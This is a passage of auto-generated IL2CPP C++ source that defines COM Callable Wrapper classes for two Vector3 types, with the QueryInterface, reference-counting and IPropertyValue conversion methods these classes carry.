il2cpp::utils::Memory::Malloc(sizeof(Vector2_t3F50A00BF980B1193E44D4EBE470C34903F4631E_ComCallableWrapper)); if (memory == NULL) { il2cpp_codegen_raise_out_of_memory_exception(); } return static_cast(new(memory) Vector2_t3F50A00BF980B1193E44D4EBE470C34903F4631E_ComCallableWrapper(obj)); } // COM Callable Wrapper for System.Numerics.Vector3 struct Vector3_t8DE19479CE3BD4C34B7AF76E89F5523A14FE37F4_ComCallableWrapper IL2CPP_FINAL : il2cpp::vm::CachedCCWBase, IReference_1_t82C05BA472430109829B64EEB0BA4AA8DA57EF70, IPropertyValue_t2D61E5557FBCC9F0476CC32B5738B21EFFA483E8 { inline Vector3_t8DE19479CE3BD4C34B7AF76E89F5523A14FE37F4_ComCallableWrapper(RuntimeObject* obj) : il2cpp::vm::CachedCCWBase(obj) {} virtual il2cpp_hresult_t STDCALL QueryInterface(const Il2CppGuid& iid, void** object) IL2CPP_OVERRIDE { if (::memcmp(&iid, &Il2CppIUnknown::IID, sizeof(Il2CppGuid)) == 0 || ::memcmp(&iid, &Il2CppIInspectable::IID, sizeof(Il2CppGuid)) == 0 || ::memcmp(&iid, &Il2CppIAgileObject::IID, sizeof(Il2CppGuid)) == 0) { *object = GetIdentity(); AddRefImpl(); return IL2CPP_S_OK; } if (::memcmp(&iid, &Il2CppIManagedObjectHolder::IID, sizeof(Il2CppGuid)) == 0) { *object = static_cast(this); AddRefImpl(); return IL2CPP_S_OK; } if (::memcmp(&iid, &IReference_1_t82C05BA472430109829B64EEB0BA4AA8DA57EF70::IID, sizeof(Il2CppGuid)) == 0) { *object = static_cast(this); AddRefImpl(); return IL2CPP_S_OK; } if (::memcmp(&iid, &IPropertyValue_t2D61E5557FBCC9F0476CC32B5738B21EFFA483E8::IID, sizeof(Il2CppGuid)) == 0) { *object = static_cast(this); AddRefImpl(); return IL2CPP_S_OK; } if (::memcmp(&iid, &Il2CppIMarshal::IID, sizeof(Il2CppGuid)) == 0) { *object = static_cast(this); AddRefImpl(); return IL2CPP_S_OK; } if (::memcmp(&iid, &Il2CppIWeakReferenceSource::IID, sizeof(Il2CppGuid)) == 0) { *object = static_cast(this); AddRefImpl(); return IL2CPP_S_OK; } *object = NULL; return IL2CPP_E_NOINTERFACE; } virtual uint32_t STDCALL AddRef() IL2CPP_OVERRIDE { return AddRefImpl(); } virtual uint32_t STDCALL Release() IL2CPP_OVERRIDE { return ReleaseImpl(); } virtual il2cpp_hresult_t STDCALL GetIids(uint32_t* iidCount, Il2CppGuid** iids) IL2CPP_OVERRIDE { Il2CppGuid* interfaceIds = il2cpp_codegen_marshal_allocate_array(2); interfaceIds[0] = IReference_1_t82C05BA472430109829B64EEB0BA4AA8DA57EF70::IID; interfaceIds[1] = IPropertyValue_t2D61E5557FBCC9F0476CC32B5738B21EFFA483E8::IID; *iidCount = 2; *iids = interfaceIds; return IL2CPP_S_OK; } virtual il2cpp_hresult_t STDCALL GetRuntimeClassName(Il2CppHString* className) IL2CPP_OVERRIDE { return GetRuntimeClassNameImpl(className); } virtual il2cpp_hresult_t STDCALL GetTrustLevel(int32_t* trustLevel) IL2CPP_OVERRIDE { return ComObjectBase::GetTrustLevel(trustLevel); } virtual il2cpp_hresult_t STDCALL IReference_1_get_Value_m41BE14B78D883205B1AB0B0F28DB78816768D26D(Vector3_t8DE19479CE3BD4C34B7AF76E89F5523A14FE37F4 * comReturnValue) IL2CPP_OVERRIDE { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_runtime_metadata((uintptr_t*)&String_t_il2cpp_TypeInfo_var); il2cpp_codegen_initialize_runtime_metadata((uintptr_t*)&Vector3_t8DE19479CE3BD4C34B7AF76E89F5523A14FE37F4_il2cpp_TypeInfo_var); s_Il2CppMethodInitialized = true; } il2cpp::vm::ScopedThreadAttacher _vmThreadHelper; // Managed method invocation Vector3_t8DE19479CE3BD4C34B7AF76E89F5523A14FE37F4 returnValue; try { returnValue = *static_cast(UnBox(GetManagedObjectInline(), Vector3_t8DE19479CE3BD4C34B7AF76E89F5523A14FE37F4_il2cpp_TypeInfo_var)); } catch (const Il2CppExceptionWrapper& ex) { memset(comReturnValue, 0, sizeof(*comReturnValue)); String_t* exceptionStr = NULL; try { exceptionStr = VirtFuncInvoker0< String_t* >::Invoke(3 /* System.String System.Object::ToString() */, ex.ex); } catch (const Il2CppExceptionWrapper&) { exceptionStr = ((String_t_StaticFields*)il2cpp_codegen_static_fields_for(String_t_il2cpp_TypeInfo_var))->get_Empty_5(); } il2cpp_codegen_store_exception_info(ex.ex, exceptionStr); return ex.ex->hresult; } *comReturnValue = returnValue; return IL2CPP_S_OK; } virtual il2cpp_hresult_t STDCALL IPropertyValue_get_Type_m2BC440F5119A133BE4DD895657519ADAA3B34272(int32_t* comReturnValue) IL2CPP_OVERRIDE { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_runtime_metadata((uintptr_t*)&String_t_il2cpp_TypeInfo_var); s_Il2CppMethodInitialized = true; } il2cpp::vm::ScopedThreadAttacher _vmThreadHelper; // Managed method invocation int32_t returnValue; try { returnValue = 20; } catch (const Il2CppExceptionWrapper& ex) { memset(comReturnValue, 0, sizeof(*comReturnValue)); String_t* exceptionStr = NULL; try { exceptionStr = VirtFuncInvoker0< String_t* >::Invoke(3 /* System.String System.Object::ToString() */, ex.ex); } catch (const Il2CppExceptionWrapper&) { exceptionStr = ((String_t_StaticFields*)il2cpp_codegen_static_fields_for(String_t_il2cpp_TypeInfo_var))->get_Empty_5(); } il2cpp_codegen_store_exception_info(ex.ex, exceptionStr); return ex.ex->hresult; } *comReturnValue = returnValue; return IL2CPP_S_OK; } virtual il2cpp_hresult_t STDCALL IPropertyValue_get_IsNumericScalar_mC8DE97926668A5F2EA3F4A9B128E966CBC7B0D60(bool* comReturnValue) IL2CPP_OVERRIDE { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_runtime_metadata((uintptr_t*)&String_t_il2cpp_TypeInfo_var); s_Il2CppMethodInitialized = true; } il2cpp::vm::ScopedThreadAttacher _vmThreadHelper; // Managed method invocation bool returnValue; try { returnValue = false; } catch (const Il2CppExceptionWrapper& ex) { memset(comReturnValue, 0, sizeof(*comReturnValue)); String_t* exceptionStr = NULL; try { exceptionStr = VirtFuncInvoker0< String_t* >::Invoke(3 /* System.String System.Object::ToString() */, ex.ex); } catch (const Il2CppExceptionWrapper&) { exceptionStr = ((String_t_StaticFields*)il2cpp_codegen_static_fields_for(String_t_il2cpp_TypeInfo_var))->get_Empty_5(); } il2cpp_codegen_store_exception_info(ex.ex, exceptionStr); return ex.ex->hresult; } *comReturnValue = returnValue; return IL2CPP_S_OK; } virtual il2cpp_hresult_t STDCALL IPropertyValue_GetUInt8_m25D96C5F9AC133BF7B682C59FE83EE05A0075B05(uint8_t* comReturnValue) IL2CPP_OVERRIDE { return il2cpp_codegen_com_handle_invalid_iproperty_conversion("Other", "Byte"); } virtual il2cpp_hresult_t STDCALL IPropertyValue_GetInt16_mBE4A7DC8A2B92F83EE058AE7515E84DADFA206AE(int16_t* comReturnValue) IL2CPP_OVERRIDE { return il2cpp_codegen_com_handle_invalid_iproperty_conversion("Other", "Int16"); } virtual il2cpp_hresult_t STDCALL IPropertyValue_GetUInt16_mCF513D800195CA7050FD5AFB4E710FB0CFB531B5(uint16_t* comReturnValue) IL2CPP_OVERRIDE { return il2cpp_codegen_com_handle_invalid_iproperty_conversion("Other", "UInt16"); } virtual il2cpp_hresult_t STDCALL IPropertyValue_GetInt32_mDE5543C20D3D3C9E773CB6EDBDBC789D12CC59BA(int32_t* comReturnValue) IL2CPP_OVERRIDE { return il2cpp_codegen_com_handle_invalid_iproperty_conversion("Other", "Int32"); } virtual il2cpp_hresult_t STDCALL IPropertyValue_GetUInt32_mD48C2097876EAE6D1E218D9123F58F168B374205(uint32_t* comReturnValue) IL2CPP_OVERRIDE { return il2cpp_codegen_com_handle_invalid_iproperty_conversion("Other", "UInt32"); } virtual il2cpp_hresult_t STDCALL IPropertyValue_GetInt64_m4BAC154BEC3584DF3E34EDA6033EEF3DB6D4132E(int64_t* comReturnValue) IL2CPP_OVERRIDE { return il2cpp_codegen_com_handle_invalid_iproperty_conversion("Other", "Int64"); } virtual il2cpp_hresult_t STDCALL IPropertyValue_GetUInt64_m981379F85C0C44EDBDD830A293693BE0BB3F62CA(uint64_t* comReturnValue) IL2CPP_OVERRIDE { return il2cpp_codegen_com_handle_invalid_iproperty_conversion("Other", "UInt64"); } virtual il2cpp_hresult_t STDCALL IPropertyValue_GetSingle_mED031D57B17B0F7BD3B4B250821D070155889F1F(float* comReturnValue) IL2CPP_OVERRIDE { return il2cpp_codegen_com_handle_invalid_iproperty_conversion("Other", "Single"); } virtual il2cpp_hresult_t STDCALL IPropertyValue_GetDouble_mA0880A7E89CE09C2639D6F8065B18E8F77EB082F(double* comReturnValue) IL2CPP_OVERRIDE { return il2cpp_codegen_com_handle_invalid_iproperty_conversion("Other", "Double"); } virtual il2cpp_hresult_t STDCALL IPropertyValue_GetChar16_m7B2226E30F72B0CCAE54B8EDB1AC4ACF1BE860A8(Il2CppChar* comReturnValue) IL2CPP_OVERRIDE { return il2cpp_codegen_com_handle_invalid_iproperty_conversion("Other", "Char16"); } virtual il2cpp_hresult_t STDCALL IPropertyValue_GetBoolean_m21FCEEA690B32CD86A36D40FB837FC7D894D5587(bool* comReturnValue) IL2CPP_OVERRIDE { return il2cpp_codegen_com_handle_invalid_iproperty_conversion("Other", "Boolean"); } virtual il2cpp_hresult_t STDCALL IPropertyValue_GetString_m8D5702E4E1C67366D65DA23CA2812D6572DF819C(Il2CppHString* comReturnValue) IL2CPP_OVERRIDE { return il2cpp_codegen_com_handle_invalid_iproperty_conversion("Other", "String"); } virtual il2cpp_hresult_t STDCALL IPropertyValue_GetGuid_m885F2850B49DB4B046564BC5FE414256801D9A11(Guid_t * comReturnValue) IL2CPP_OVERRIDE { return il2cpp_codegen_com_handle_invalid_iproperty_conversion("Other", "Guid"); } virtual il2cpp_hresult_t STDCALL IPropertyValue_GetDateTime_m023A766ED6FC58B347CF6F777F5C18C6AE246A3C(DateTime_t7C967DBDDE4CAEAA8B5AEB61E36309BCD7D26B8C * comReturnValue) IL2CPP_OVERRIDE { return il2cpp_codegen_com_handle_invalid_iproperty_conversion("Other", "DateTime"); } virtual il2cpp_hresult_t STDCALL IPropertyValue_GetTimeSpan_m063CE76264EDAF37A1DA3CA5C9CF4AF85D8FC239(TimeSpan_t4F6A0E13E703B65365CFCAB58E05EE0AF3EE6203 * comReturnValue) IL2CPP_OVERRIDE { return il2cpp_codegen_com_handle_invalid_iproperty_conversion("Other", "TimeSpan"); } virtual il2cpp_hresult_t STDCALL IPropertyValue_GetPoint_m014D5E859273BA28DE642E38438EDCC64AB5C41B(Point_t155CCDBE84DC37ABFA2CBB4649526701CA3A5578 * comReturnValue) IL2CPP_OVERRIDE { return il2cpp_codegen_com_handle_invalid_iproperty_conversion("Other", "Point"); } virtual il2cpp_hresult_t STDCALL IPropertyValue_GetSize_m0A952D186E59BEA03E6185EDEBAC26D544AFADAC(Size_tDA924E69AB75296FE3B5E81811B78FD56173BB92 * comReturnValue) IL2CPP_OVERRIDE { return il2cpp_codegen_com_handle_invalid_iproperty_conversion("Other", "Size"); } virtual il2cpp_hresult_t STDCALL IPropertyValue_GetRect_m0A96600149C7E6A493B8420CB316938AEF9A1A06(Rect_tC45F1DDF39812623644DE296D8057A4958176627 * comReturnValue) IL2CPP_OVERRIDE { return il2cpp_codegen_com_handle_invalid_iproperty_conversion("Other", "Rect"); } virtual il2cpp_hresult_t STDCALL IPropertyValue_GetUInt8Array_m540E0503D8CFAE2579D449884B6AA883509C79D1(uint32_t* ___value0ArraySize, uint8_t** ___value0) IL2CPP_OVERRIDE { return il2cpp_codegen_com_handle_invalid_iproperty_conversion("Other", "Byte[]"); } virtual il2cpp_hresult_t STDCALL IPropertyValue_GetInt16Array_m279C289854DE8A2D45A6B6B09112DD9D2F0DF849(uint32_t* ___value0ArraySize, int16_t** ___value0) IL2CPP_OVERRIDE { return il2cpp_codegen_com_handle_invalid_iproperty_conversion("Other", "Int16[]"); } virtual il2cpp_hresult_t STDCALL IPropertyValue_GetUInt16Array_m090AA712F6BB39F869BCC5CB90236377EE8673B1(uint32_t* ___value0ArraySize, uint16_t** ___value0) IL2CPP_OVERRIDE { return il2cpp_codegen_com_handle_invalid_iproperty_conversion("Other", "UInt16[]"); } virtual il2cpp_hresult_t STDCALL IPropertyValue_GetInt32Array_mADF499B8CD16185128795A7B74D63E8CFE692B9A(uint32_t* ___value0ArraySize, int32_t** ___value0) IL2CPP_OVERRIDE { return il2cpp_codegen_com_handle_invalid_iproperty_conversion("Other", "Int32[]"); } virtual il2cpp_hresult_t STDCALL IPropertyValue_GetUInt32Array_m9B44B8D2EA2907A9A96ED653ACEF04873D9483F8(uint32_t* ___value0ArraySize, uint32_t** ___value0) IL2CPP_OVERRIDE { return il2cpp_codegen_com_handle_invalid_iproperty_conversion("Other", "UInt32[]"); } virtual il2cpp_hresult_t STDCALL IPropertyValue_GetInt64Array_m9A04AC5F477463928280B42E2C40F13B15A1D564(uint32_t* ___value0ArraySize, int64_t** ___value0) IL2CPP_OVERRIDE { return il2cpp_codegen_com_handle_invalid_iproperty_conversion("Other", "Int64[]"); } virtual il2cpp_hresult_t STDCALL IPropertyValue_GetUInt64Array_m776484C9C41D5A03991D89401FF84F9D425D6A5E(uint32_t* ___value0ArraySize, uint64_t** ___value0) IL2CPP_OVERRIDE { return il2cpp_codegen_com_handle_invalid_iproperty_conversion("Other", "UInt64[]"); } virtual il2cpp_hresult_t STDCALL IPropertyValue_GetSingleArray_m1E9CE76FA942B3AFA8995FBAE605E84733917B57(uint32_t* ___value0ArraySize, float** ___value0) IL2CPP_OVERRIDE { return il2cpp_codegen_com_handle_invalid_iproperty_conversion("Other", "Single[]"); } virtual il2cpp_hresult_t STDCALL IPropertyValue_GetDoubleArray_m5DAB086BEB4816CAF7553E325B91A4B0B07953A5(uint32_t* ___value0ArraySize, double** ___value0) IL2CPP_OVERRIDE { return il2cpp_codegen_com_handle_invalid_iproperty_conversion("Other", "Double[]"); } virtual il2cpp_hresult_t STDCALL IPropertyValue_GetChar16Array_m2C69248F68D7705FE44FA8F777B061FA77C706A1(uint32_t* ___value0ArraySize, Il2CppChar** ___value0) IL2CPP_OVERRIDE { return il2cpp_codegen_com_handle_invalid_iproperty_conversion("Other", "Char16[]"); } virtual il2cpp_hresult_t STDCALL IPropertyValue_GetBooleanArray_m083CB5579BC465B4D1BD84CE8382CB747A9FCC8C(uint32_t* ___value0ArraySize, bool** ___value0) IL2CPP_OVERRIDE { return il2cpp_codegen_com_handle_invalid_iproperty_conversion("Other", "Boolean[]"); } virtual il2cpp_hresult_t STDCALL IPropertyValue_GetStringArray_m680617C6226187D28C4978B710AFBB8581AAC98F(uint32_t* ___value0ArraySize, Il2CppHString** ___value0) IL2CPP_OVERRIDE { return il2cpp_codegen_com_handle_invalid_iproperty_conversion("Other", "String[]"); } virtual il2cpp_hresult_t STDCALL IPropertyValue_GetInspectableArray_m6DCBE370A8CAC129E6D6BD91C6503D14A8109F79(uint32_t* ___value0ArraySize, Il2CppIInspectable*** ___value0) IL2CPP_OVERRIDE { return il2cpp_codegen_com_handle_invalid_iproperty_conversion("Other", "Inspectable[]"); } virtual il2cpp_hresult_t STDCALL IPropertyValue_GetGuidArray_mE9983D9B5EE9AC1935C3EBD2F9E82DC7188E1D07(uint32_t* ___value0ArraySize, Guid_t ** ___value0) IL2CPP_OVERRIDE { return il2cpp_codegen_com_handle_invalid_iproperty_conversion("Other", "Guid[]"); } virtual il2cpp_hresult_t STDCALL IPropertyValue_GetDateTimeArray_mEECFC6C321405CDBC425D321E2A8EF3E7BC306A7(uint32_t* ___value0ArraySize, DateTime_t7C967DBDDE4CAEAA8B5AEB61E36309BCD7D26B8C ** ___value0) IL2CPP_OVERRIDE { return il2cpp_codegen_com_handle_invalid_iproperty_conversion("Other", "DateTimeOffset[]"); } virtual il2cpp_hresult_t STDCALL IPropertyValue_GetTimeSpanArray_mEAF3CA18AA928DAF3046F0F530B9324711650167(uint32_t* ___value0ArraySize, TimeSpan_t4F6A0E13E703B65365CFCAB58E05EE0AF3EE6203 ** ___value0) IL2CPP_OVERRIDE { return il2cpp_codegen_com_handle_invalid_iproperty_conversion("Other", "TimeSpan[]"); } virtual il2cpp_hresult_t STDCALL IPropertyValue_GetPointArray_mD4ACB0F49C7BFEC1C03A4EE4263B23B2040CECD0(uint32_t* ___value0ArraySize, Point_t155CCDBE84DC37ABFA2CBB4649526701CA3A5578 ** ___value0) IL2CPP_OVERRIDE { return il2cpp_codegen_com_handle_invalid_iproperty_conversion("Other", "Point[]"); } virtual il2cpp_hresult_t STDCALL IPropertyValue_GetSizeArray_m3C079B4191330FAC3B2131D308C825BC72A5F0DC(uint32_t* ___value0ArraySize, Size_tDA924E69AB75296FE3B5E81811B78FD56173BB92 ** ___value0) IL2CPP_OVERRIDE { return il2cpp_codegen_com_handle_invalid_iproperty_conversion("Other", "Size[]"); } virtual il2cpp_hresult_t STDCALL IPropertyValue_GetRectArray_m09598924D31716E1E653AE941186F8B16EA11A87(uint32_t* ___value0ArraySize, Rect_tC45F1DDF39812623644DE296D8057A4958176627 ** ___value0) IL2CPP_OVERRIDE { return il2cpp_codegen_com_handle_invalid_iproperty_conversion("Other", "Rect[]"); } }; IL2CPP_EXTERN_C Il2CppIUnknown* CreateComCallableWrapperFor_Vector3_t8DE19479CE3BD4C34B7AF76E89F5523A14FE37F4(RuntimeObject* obj) { void* memory = il2cpp::utils::Memory::Malloc(sizeof(Vector3_t8DE19479CE3BD4C34B7AF76E89F5523A14FE37F4_ComCallableWrapper)); if (memory == NULL) { il2cpp_codegen_raise_out_of_memory_exception(); } return static_cast(new(memory) Vector3_t8DE19479CE3BD4C34B7AF76E89F5523A14FE37F4_ComCallableWrapper(obj)); } // COM Callable Wrapper for Windows.Foundation.Numerics.Vector3 struct Vector3_t0194CC66E38F631C9297656C3AA662B23F45F53F_ComCallableWrapper IL2CPP_FINAL : il2cpp::vm::CachedCCWBase, IReference_1_t2E90AA27DAF67A0C5212F008ED5019775E438EAF, IPropertyValue_t2D61E5557FBCC9F0476CC32B5738B21EFFA483E8 { inline Vector3_t0194CC66E38F631C9297656C3AA662B23F45F53F_ComCallableWrapper(RuntimeObject* obj) : il2cpp::vm::CachedCCWBase(obj) {} virtual il2cpp_hresult_t STDCALL QueryInterface(const Il2CppGuid& iid, void** object) IL2CPP_OVERRIDE { if (::memcmp(&iid, &Il2CppIUnknown::IID, sizeof(Il2CppGuid)) == 0 || ::memcmp(&iid, &Il2CppIInspectable::IID, sizeof(Il2CppGuid)) == 0 || ::memcmp(&iid, &Il2CppIAgileObject::IID, sizeof(Il2CppGuid)) == 0) { *object = GetIdentity(); AddRefImpl(); return IL2CPP_S_OK; } if (::memcmp(&iid, &Il2CppIManagedObjectHolder::IID, sizeof(Il2CppGuid)) == 0) { *object = static_cast(this); AddRefImpl(); return IL2CPP_S_OK; } if (::memcmp(&iid, &IReference_1_t2E90AA27DAF67A0C5212F008ED5019775E438EAF::IID, sizeof(Il2CppGuid)) == 0) { *object = static_cast(this); AddRefImpl(); return IL2CPP_S_OK; } if (::memcmp(&iid, &IPropertyValue_t2D61E5557FBCC9F0476CC32B5738B21EFFA483E8::IID, sizeof(Il2CppGuid)) == 0) { *object = static_cast(this); AddRefImpl(); return IL2CPP_S_OK; } if (::memcmp(&iid, &Il2CppIMarshal::IID, sizeof(Il2CppGuid)) == 0) { *object = static_cast(this); AddRefImpl(); return IL2CPP_S_OK; } if (::memcmp(&iid, &Il2CppIWeakReferenceSource::IID, sizeof(Il2CppGuid)) == 0) { *object = static_cast(this); AddRefImpl(); return IL2CPP_S_OK; } *object = NULL; return IL2CPP_E_NOINTERFACE; } virtual uint32_t STDCALL AddRef() IL2CPP_OVERRIDE { return AddRefImpl(); } virtual uint32_t STDCALL Release() IL2CPP_OVERRIDE { return ReleaseImpl(); } virtual il2cpp_hresult_t STDCALL GetIids(uint32_t* iidCount, Il2CppGuid** iids) IL2CPP_OVERRIDE { Il2CppGuid* interfaceIds = il2cpp_codegen_marshal_allocate_array(2); interfaceIds[0] = IReference_1_t2E90AA27DAF67A0C5212F008ED5019775E438EAF::IID; interfaceIds[1] = IPropertyValue_t2D61E5557FBCC9F0476CC32B5738B21EFFA483E8::IID; *iidCount = 2; *iids = interfaceIds; return IL2CPP_S_OK; } virtual il2cpp_hresult_t STDCALL GetRuntimeClassName(Il2CppHString* className) IL2CPP_OVERRIDE { return GetRuntimeClassNameImpl(className); } virtual il2cpp_hresult_t STDCALL GetTrustLevel(int32_t* trustLevel) IL2CPP_OVERRIDE { return ComObjectBase::GetTrustLevel(trustLevel); } virtual il2cpp_hresult_t STDCALL IReference_1_get_Value_mEFF123E1BD76AEDAED0313C6AC9D05313CBA7487(Vector3_t0194CC66E38F631C9297656C3AA662B23F45F53F * comReturnValue) IL2CPP_OVERRIDE { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_runtime_metadata((uintptr_t*)&String_t_il2cpp_TypeInfo_var); il2cpp_codegen_initialize_runtime_metadata((uintptr_t*)&Vector3_t0194CC66E38F631C9297656C3AA662B23F45F53F_il2cpp_TypeInfo_var); s_Il2CppMethodInitialized = true; } il2cpp::vm::ScopedThreadAttacher _vmThreadHelper; // Managed method invocation Vector3_t0194CC66E38F631C9297656C3AA662B23F45F53F returnValue; try { returnValue = *static_cast(UnBox(GetManagedObjectInline(), Vector3_t0194CC66E38F631C9297656C3AA662B23F45F53F_il2cpp_TypeInfo_var)); } catch (const Il2CppExceptionWrapper& ex) { memset(comReturnValue, 0, sizeof(*comReturnValue)); String_t* exceptionStr = NULL; try { exceptionStr = VirtFuncInvoker0< String_t* >::Invoke(3 /* System.String System.Object::ToString() */, ex.ex); } catch (const Il2CppExceptionWrapper&) { exceptionStr = ((String_t_StaticFields*)il2cpp_codegen_static_fields_for(String_t_il2cpp_TypeInfo_var))->get_Empty_5(); } il2cpp_codegen_store_exception_info(ex.ex, exceptionStr); return ex.ex->hresult; } *comReturnValue = returnValue; return IL2CPP_S_OK; } virtual il2cpp_hresult_t STDCALL IPropertyValue_get_Type_m2BC440F5119A133BE4DD895657519ADAA3B34272(int32_t* comReturnValue) IL2CPP_OVERRIDE { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_runtime_metadata((uintptr_t*)&String_t_il2cpp_TypeInfo_var); s_Il2CppMethodInitialized = true; } il2cpp::vm::ScopedThreadAttacher _vmThreadHelper; // Managed method invocation int32_t returnValue; try { returnValue = 20; } catch (const Il2CppExceptionWrapper& ex) { memset(comReturnValue, 0, sizeof(*comReturnValue)); String_t* exceptionStr = NULL; try { exceptionStr = VirtFuncInvoker0< String_t* >::Invoke(3 /* System.String System.Object::ToString() */, ex.ex); } catch (const Il2CppExceptionWrapper&) { exceptionStr = ((String_t_StaticFields*)il2cpp_codegen_static_fields_for(String_t_il2cpp_TypeInfo_var))->get_Empty_5(); } il2cpp_codegen_store_exception_info(ex.ex, exceptionStr); return ex.ex->hresult; } *comReturnValue = returnValue; return IL2CPP_S_OK; } virtual il2cpp_hresult_t STDCALL IPropertyValue_get_IsNumericScalar_mC8DE97926668A5F2EA3F4A9B128E966CBC7B0D60(bool* comReturnValue) IL2CPP_OVERRIDE { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_runtime_metadata((uintptr_t*)&String_t_il2cpp_TypeInfo_var); s_Il2CppMethodInitialized = true; } il2cpp::vm::ScopedThreadAttacher _vmThreadHelper; // Managed method invocation bool returnValue; try { returnValue = false; } catch (const Il2CppExceptionWrapper& ex) { memset(comReturnValue, 0, sizeof(*comReturnValue)); String_t* exceptionStr = NULL; try { exceptionStr = VirtFuncInvoker0< String_t* >::Invoke(3 /* System.String System.Object::ToString() */, ex.ex); } catch (const Il2CppExceptionWrapper&) { exceptionStr = ((String_t_StaticFields*)il2cpp_codegen_static_fields_for(String_t_il2cpp_TypeInfo_var))->get_Empty_5(); } il2cpp_codegen_store_exception_info(ex.ex, exceptionStr); return ex.ex->hresult; } *comReturnValue = returnValue; return IL2CPP_S_OK; } virtual il2cpp_hresult_t STDCALL IPropertyValue_GetUInt8_m25D96C5F9AC133BF7B682C59FE83EE05A0075B05(uint8_t* comReturnValue) IL2CPP_OVERRIDE { return il2cpp_codegen_com_handle_invalid_iproperty_conversion("Other", "Byte"); } virtual il2cpp_hresult_t STDCALL IPropertyValue_GetInt16_mBE4A7DC8A2B92F83EE058AE7515E84DADFA206AE(int16_t* comReturnValue) IL2CPP_OVERRIDE { return il2cpp_codegen_com_handle_invalid_iproperty_conversion("Other", "Int16"); } virtual il2cpp_hresult_t STDCALL IPropertyValue_GetUInt16_mCF513D800195CA7050FD5AFB4E710FB0CFB531B5(uint16_t* comReturnValue) IL2CPP_OVERRIDE { return il2cpp_codegen_com_handle_invalid_iproperty_conversion("Other", "UInt16"); } virtual il2cpp_hresult_t STDCALL IPropertyValue_GetInt32_mDE5543C20D3D3C9E773CB6EDBDBC789D12CC59BA(int32_t* comReturnValue) IL2CPP_OVERRIDE { return il2cpp_codegen_com_handle_invalid_iproperty_conversion("Other", "Int32"); } virtual il2cpp_hresult_t STDCALL IPropertyValue_GetUInt32_mD48C2097876EAE6D1E218D9123F58F168B374205(uint32_t* comReturnValue) IL2CPP_OVERRIDE { return il2cpp_codegen_com_handle_invalid_iproperty_conversion("Other", "UInt32"); } virtual il2cpp_hresult_t STDCALL IPropertyValue_GetInt64_m4BAC154BEC3584DF3E34EDA6033EEF3DB6D4132E(int64_t* comReturnValue) IL2CPP_OVERRIDE { return il2cpp_codegen_com_handle_invalid_iproperty_conversion("Other", "Int64"); } virtual il2cpp_hresult_t STDCALL IPropertyValue_GetUInt64_m981379F85C0C44EDBDD830A293693BE0BB3F62CA(uint64_t* comReturnValue) IL2CPP_OVERRIDE { return il2cpp_codegen_com_handle_invalid_iproperty_conversion("Other", "UInt64"); } virtual il2cpp_hresult_t STDCALL IPropertyValue_GetSingle_mED031D57B17B0F7BD3B4B250821D070155889F1F(float* comReturnValue) IL2CPP_OVERRIDE { return il2cpp_codegen_com_handle_invalid_iproperty_conversion("Other", "Single"); } virtual il2cpp_hresult_t STDCALL IPropertyValue_GetDouble_mA0880A7E89CE09C2639D6F8065B18E8F77EB082F(double* comReturnValue) IL2CPP_OVERRIDE { return il2cpp_codegen_com_handle_invalid_iproperty_conversion("Other", "Double"); } virtual il2cpp_hresult_t STDCALL IPropertyValue_GetChar16_m7B2226E30F72B0CCAE54B8EDB1AC4ACF1BE860A8(Il2CppChar* comReturnValue) IL2CPP_OVERRIDE { return il2cpp_codegen_com_handle_invalid_iproperty_conversion("Other", "Char16"); } virtual il2cpp_hresult_t STDCALL IPropertyValue_GetBoolean_m21FCEEA690B32CD86A36D40FB837FC7D894D5587(bool* comReturnValue) IL2CPP_OVERRIDE { return il2cpp_codegen_com_handle_invalid_iproperty_conversion("Other", "Boolean"); } virtual il2cpp_hresult_t STDCALL IPropertyValue_GetString_m8D5702E4E1C67366D65DA23CA2812D6572DF819C(Il2CppHString* comReturnValue) IL2CPP_OVERRIDE { return il2cpp_codegen_com_handle_invalid_iproperty_conversion("Other", "String"); } virtual il2cpp_hresult_t STDCALL IPropertyValue_GetGuid_m885F2850B49DB4B046564BC5FE414256801D9A11(Guid_t * comReturnValue) IL2CPP_OVERRIDE { return il2cpp_codegen_com_handle_invalid_iproperty_conversion("Other", "Guid"); } virtual il2cpp_hresult_t STDCALL IPropertyValue_GetDateTime_m023A766ED6FC58B347CF6F777F5C18C6AE246A3C(DateTime_t7C967DBDDE4CAEAA8B5AEB61E36309BCD7D26B8C * comReturnValue) IL2CPP_OVERRIDE { return il2cpp_codegen_com_handle_invalid_iproperty_conversion("Other", "DateTime"); } virtual il2cpp_hresult_t STDCALL IPropertyValue_GetTimeSpan_m063CE76264EDAF37A1DA3CA5C9CF4AF85D8FC239(TimeSpan_t4F6A0E13E703B65365CFCAB58E05EE0AF3EE6203 * comReturnValue) IL2CPP_OVERRIDE { return il2cpp_codegen_com_handle_invalid_iproperty_conversion("Other", "TimeSpan"); } virtual il2cpp_hresult_t STDCALL IPropertyValue_GetPoint_m014D5E859273BA28DE642E38438EDCC64AB5C41B(Point_t155CCDBE84DC37ABFA2CBB4649526701CA3A5578 * comReturnValue) IL2CPP_OVERRIDE { return il2cpp_codegen_com_handle_invalid_iproperty_conversion("Other", "Point"); } virtual il2cpp_hresult_t STDCALL IPropertyValue_GetSize_m0A952D186E59BEA03E6185EDEBAC26D544AFADAC(Size_tDA924E69AB75296FE3B5E81811B78FD56173BB92 * comReturnValue) IL2CPP_OVERRIDE { return il2cpp_codegen_com_handle_invalid_iproperty_conversion("Other", "Size"); } virtual il2cpp_hresult_t STDCALL IPropertyValue_GetRect_m0A96600149C7E6A493B8420CB316938AEF9A1A06(Rect_tC45F1DDF39812623644DE296D8057A4958176627 * comReturnValue) IL2CPP_OVERRIDE { return il2cpp_codegen_com_handle_invalid_iproperty_conversion("Other", "Rect"); } virtual il2cpp_hresult_t STDCALL IPropertyValue_GetUInt8Array_m540E0503D8CFAE2579D449884B6AA883509C79D1(uint32_t* ___value0ArraySize, uint8_t** ___value0) IL2CPP_OVERRIDE { return il2cpp_codegen_com_handle_invalid_iproperty_conversion("Other", "Byte[]"); } virtual 